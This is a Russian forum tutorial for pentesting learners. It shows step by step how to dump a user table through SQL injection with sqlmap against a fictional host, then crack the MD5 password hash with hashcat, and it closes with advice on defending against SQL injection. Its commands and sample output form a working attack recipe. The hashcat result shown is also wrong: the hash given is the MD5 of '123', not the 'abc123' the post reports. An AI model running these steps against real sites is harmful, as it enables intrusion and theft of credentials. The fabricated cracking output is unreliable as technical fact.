Сергей Попов
Администратор
- 30.12.2015
- 4 792
- 6 492
Всем привет, Codeby!
Предыдущая часть: SQLMAP: гайд по SQL-инъекциям и обходу WAF (2025)
Подробный гайд, который часто просят новички. Разберём классический сценарий — эксплуатация SQL-инъекции с помощью связки SQLMap + Hashcat. Пройдём весь путь от получения структуры базы данных до взлома пароля.
Важно: всё, что вы увидите ниже — полностью вымышленный сценарий. URL, база данных и хеши созданы специально для этого руководства. Цель — научиться работать с инструментами, а не ломать реальные сайты. Помните об этике и законодательстве. Погнали!
Представим, что мы уже нашли уязвимый параметр на неком сайте. Наш старт — вот этот URL:
http://test-site.local/item.php?id=15
.Шаг 1: Разведка. Узнаём столбцы в таблице user_info
Первым делом нужно понять, какая структура у таблицы, где, как мы предполагаем, лежат данные пользователей. Наша цель — найти поля с логином и паролем в таблице user_info
внутри базы clemcoindustries
.Команда:
Bash:
sqlmap -u "http://test-site.local/item.php?id=15" -D clemcoindustries -T user_info --columns
-u
— наш целевой URL. Берём его в кавычки, это хорошая привычка.-D
— указываем имя базы данных, которое мы могли узнать на предыдущих этапах разведки.-T
— конкретная таблица, которая нас интересует.--columns
— команда, которая говорит SQLMap: «Эй, покажи-ка мне все столбцы из этой таблицы».
Код:
[INFO] retrieved: user_id — int(10) unsigned
[INFO] retrieved: user_login — varchar(50)
[INFO] retrieved: user_password — varchar(255)
[INFO] retrieved: user_salt — varchar(16)
[INFO] retrieved: record_status — tinyint(4)
user_login
и user_password
на месте. Это наши цели.Шаг 2: Получаем имена пользователей
Теперь, когда мы знаем, где искать, давайте вытащим логины. Это полезно, чтобы убедиться, что в таблице вообще есть данные.
Bash:
sqlmap -u "http://test-site.local/item.php?id=15" -D clemcoindustries -T user_info -C user_login --dump
-C user_login
— говорим, что нам нужен только столбец с логинами.--dump
— команда для извлечения (дампа) данных.
Код:
Database: clemcoindustries
Table: user_info
[1 entry]
+------------+
| user_login |
+------------+
| admin |
+------------+
admin
. Теперь самое интересное.Шаг 3: Извлекаем хеш пароля
Действуем по аналогии, но теперь наша цель — столбецuser_password
.
Bash:
sqlmap -u "http://test-site.local/item.php?id=15" -D clemcoindustries -T user_info -C user_password --dump
Код:
Database: clemcoindustries
Table: user_info
[1 entry]
+----------------------------------+
| user_password |
+----------------------------------+
| 202cb962ac59075b964b07152d234b70 |
+----------------------------------+
Шаг 4: Определяем тип хеша
Что это за строка202cb962ac59075b964b07152d234b70
? С опытом вы будете узнавать некоторые хеши «в лицо», но для надёжности воспользуемся утилитой из Kali Linux — hash-identifier
.Вводим наш хеш:
Код:
$ hash-identifier
HASH: 202cb962ac59075b964b07152d234b70
Possible Hashs :
[+] MD5
Шаг 5: Крашим хеш с помощью Hashcat
Финальный рывок. Создаём файлhash.txt
и записываем в него наш хеш. Затем запускаем тяжёлую артиллерию — Hashcat.
Bash:
hashcat -m 0 -a 0 hash.txt /usr/share/wordlists/rockyou.txt
-m 0
— это код режима для MD5. Для каждого типа хеша у Hashcat есть свой код.-a 0
— режим атаки. Ноль — это классический перебор по словарю (Straight).hash.txt
— наш файл с хешем./usr/share/wordlists/rockyou.txt
— путь к знаменитому словарю. Если у вас его нет, обязательно установите.
Код:
202cb962ac59075b964b07152d234b70:abc123
Session..........: hashcat
Status...........: Cracked
...
abc123
.Конечно, наш вымышленный пример был довольно простым. В реальных задачах всё бывает куда интереснее: фильтры, кастомное хеширование и многоуровневая защита. Чтобы увидеть, как похожие техники применяются на практике, очень советую почитать разборы (райтапы) с CTF. Там можно подсмотреть много полезных фишек.
Вот, например, пара свежих разборов веб-заданий от наших форумчан:
Мораль и защита: что нужно знать
А теперь самое главное. Мы всё это делали не ради взлома, а чтобы понять, как защищаться.- Не доверяйте данным. Всегда проверяйте команды и имена, которые вы используете. Опечатка в имени таблицы или столбца — и вы впустую потратите время.
- Хеширование — это не шифрование. Наш пример с MD5 идеально показывает, почему он плох. Его можно быстро взломать перебором по словарю. В 2025 году использовать MD5 для паролей — преступление. Смотрите в сторону bcrypt, scrypt или Argon2, которые являются адаптивными и требуют больших вычислительных ресурсов для взлома.
- Этика и закон. Ещё раз: все эти действия легальны только в рамках официального тестирования на проникновение (пентеста) или на собственных учебных стендах. На форуме
codeby.net
мы за белый хакинг. - Главная защита от SQL-инъекций.
- Параметризованные запросы (Prepared Statements): Это основной и самый надёжный способ. Он разделяет код SQL-запроса и данные, не давая пользователю вмешаться в логику запроса.
- ORM (Object-Relational Mapping): Фреймворки вроде Django, Ruby on Rails или Laravel используют ORM, которые в большинстве случаев автоматически создают безопасные запросы.
- WAF (Web Application Firewall): Хороший дополнительный уровень защиты, который может отфильтровать вредоносные запросы ещё на подлёте.
- Принцип наименьших привилегий: Учётная запись, от имени которой веб-приложение подключается к БД, не должна иметь прав на всю базу данных. Только на те таблицы и операции, которые ей реально нужны.
- Профессиональный рост. Понимание таких атак — это только первый шаг. Чтобы развиваться в пентесте и превратить это в профессию, нужен системный подход. Кстати, на Codeby есть отличная статья о том, как спланировать свой путь в эту сферу, особенно если вы переходите из другого IT-направления.
Итак, наш путь в пяти шагах:
- Разведали структуру таблицы через
--columns
. - Вытащили логин и хеш пароля с помощью
--dump
. - Определили тип хеша — MD5.
- Подобрали пароль (
abc123
) через Hashcat. - Сделали выводы о том, как строить надёжную защиту.
Обновлено и дополнено командой Codeby на основе официальной документации sqlmap и практического опыта.